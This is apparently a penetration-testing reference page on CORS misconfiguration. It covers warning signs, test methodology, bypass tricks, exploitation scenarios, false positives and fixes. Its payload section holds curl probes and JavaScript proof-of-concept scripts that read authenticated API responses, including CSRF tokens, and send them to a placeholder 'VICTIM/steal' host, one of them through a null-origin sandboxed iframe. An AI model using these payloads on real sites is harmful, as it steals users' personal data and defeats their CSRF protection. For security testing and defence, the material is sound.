CORS Misconfiguration
What Is Broken and Why
Cross-Origin Resource Sharing (CORS) extends the same-origin policy to allow controlled cross-origin requests. Misconfigurations arise when servers reflect arbitrary Origin values in Access-Control-Allow-Origin without validation, allow null origins (exploitable via sandboxed iframes), or combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true (which browsers reject per spec but server-side logic may still honor insecurely). An attacker exploiting a CORS misconfiguration can read authenticated API responses from a victim's browser, leaking session data, PII, CSRF tokens, and other sensitive information.
Key Signals
Access-Control-Allow-Originmirrors theOriginrequest header verbatimAccess-Control-Allow-Origin: *on endpoints returning sensitive data (even without credentials, if the data is public-sensitive)Access-Control-Allow-Credentials: truecombined with origin reflectionAccess-Control-Allow-Origin: null— exploitable via sandboxed iframe- Wildcard subdomain trust: any
*.example.comorigin accepted, including attacker-controlled subdomains - Missing
Vary: Originheader indicating improper caching of CORS responses
Methodology
- Identify API endpoints and sensitive data responses.
- Add
Origin: https://attacker-controlled.comto requests; check if it is reflected inAccess-Control-Allow-Origin. - Add
Origin: null; check ifAccess-Control-Allow-Origin: nullis returned. - Check
Access-Control-Allow-Credentials: true— if combined with origin reflection, full exploitation is possible. - Test subdomain variations:
Origin: https://evil.TARGET-DOMAINto check for overly broad subdomain trust. - Test with OWASP ZAP's passive and active scanner for automated CORS header analysis.
- Build a PoC with
fetch()andcredentials: includefrom an attacker page to confirm read access.
Payloads & Tools
# Manual header injection test
curl -s -H "Origin: https://attacker.com" \
-H "Cookie: session=TOKEN" \
-v TARGET/api/user-data 2>&1 | grep -i "access-control"
# Check for null origin acceptance
curl -s -H "Origin: null" TARGET/api/sensitive-data -v 2>&1 | grep -i "access-control"
# Check for subdomain trust
curl -s -H "Origin: https://evil.target-domain.com" TARGET/api/data -v 2>&1 | grep access-control
# JavaScript PoC — origin reflection with credentials
<script>
fetch('https://TARGET/api/account', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
fetch('https://VICTIM/steal?d=' + encodeURIComponent(data));
});
</script>
# JavaScript PoC — null origin via sandboxed iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://TARGET/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => top.location = 'https://VICTIM/steal?d=' + encodeURIComponent(d));
</script>"></iframe>
# CORS misconfiguration leading to CSRF token read
<script>
fetch('https://TARGET/account/settings', {credentials: 'include'})
.then(r => r.text())
.then(html => {
var csrfToken = html.match(/csrf[_-]?token.*?value="([^"]+)"/i)[1];
// Now use csrfToken to submit CSRF-protected forms
fetch('https://VICTIM/steal?t=' + csrfToken);
});
</script>
# ZAP — Active scan for CORS
# Analyze -> Active Scan -> run against target; check Alerts for CORS issues
Bypass Techniques
nullorigin via sandboxed iframes ordata:URI documents (bypasses many origin allowlists)- Subdomain exploitation: if
*.target.comis trusted and any subdomain is takeover-able, that subdomain can read responses - HTTP/HTTPS mixing:
Origin: http://target.commay be accepted byhttps://target.com - Prefix/suffix matching bugs: server checking
endsWith('.target.com')trustsattacker.target.com.evil.com - Protocol confusion: some servers normalize origins before comparison
Exploitation Scenarios
Scenario 1 — Account Data Exfiltration
Setup: /api/user-profile returns full user PII; server reflects any Origin with Access-Control-Allow-Credentials: true.
Trigger: Attacker hosts page with fetch('TARGET/api/user-profile', {credentials: 'include'}) → exfiltrates response.
Impact: Victim's name, email, phone number, and account details sent to attacker on page visit.
Scenario 2 — CSRF Token Theft Enabling CSRF
Setup: CSRF-protected form's token is embedded in a JSON API response on an endpoint with CORS origin reflection.
Trigger: Attacker reads /api/form-data cross-origin, extracts CSRF token, then submits forged state-change request with valid token.
Impact: CSRF protection bypassed entirely; attacker performs arbitrary authenticated actions.
Scenario 3 — Internal API Access via Null Origin
Setup: Internal API at /internal/admin-data accepts Origin: null due to developer testing configuration left in production.
Trigger: Attacker uses sandboxed iframe to send request with Origin: null and credentials: include.
Impact: Internal admin data returned to attacker-controlled page.
False Positives
Access-Control-Allow-Origin: *on public API endpoints with no sensitive data and no credential support- CORS headers present but
Access-Control-Allow-Credentialsabsent (cookies not sent, data may be non-sensitive) - Origin reflection with allowlist validation happening before header is set (check server-side code, not just headers)
- Pre-flight OPTIONS responses showing permissive headers that are more restrictive on actual GET/POST
Fix Patterns
- Maintain an explicit server-side allowlist of permitted origins; never reflect the
Originheader verbatim - Never combine
Access-Control-Allow-Origin: *withAccess-Control-Allow-Credentials: true - Return
Access-Control-Allow-Origin: nullonly intentionally (avoid in production) - Add
Vary: Originheader when the response differs by origin (prevents cache poisoning) - For APIs: use
Content-Type: application/jsonrequirement and validate all CORS origins per request - Audit subdomain CORS trust — each trusted subdomain is an expansion of the attack surface
Related Skills
[[csrf]] and CORS misconfiguration are tightly coupled: a CORS origin-reflection bug lets an attacker read CSRF tokens cross-origin, turning a CSRF-protected form into an exploitable target. When [[ssrf]] and CORS coexist, the server's trusted position in the internal network can be leveraged similarly — both attacks abuse trust boundaries. A [[dom-xss]] on a CORS-trusted origin can exfiltrate data from the victim's authenticated API responses. Subdomain CORS trust also expands the scope of [[cookie-attacks]] because subdomain XSS can set or read parent-domain cookies.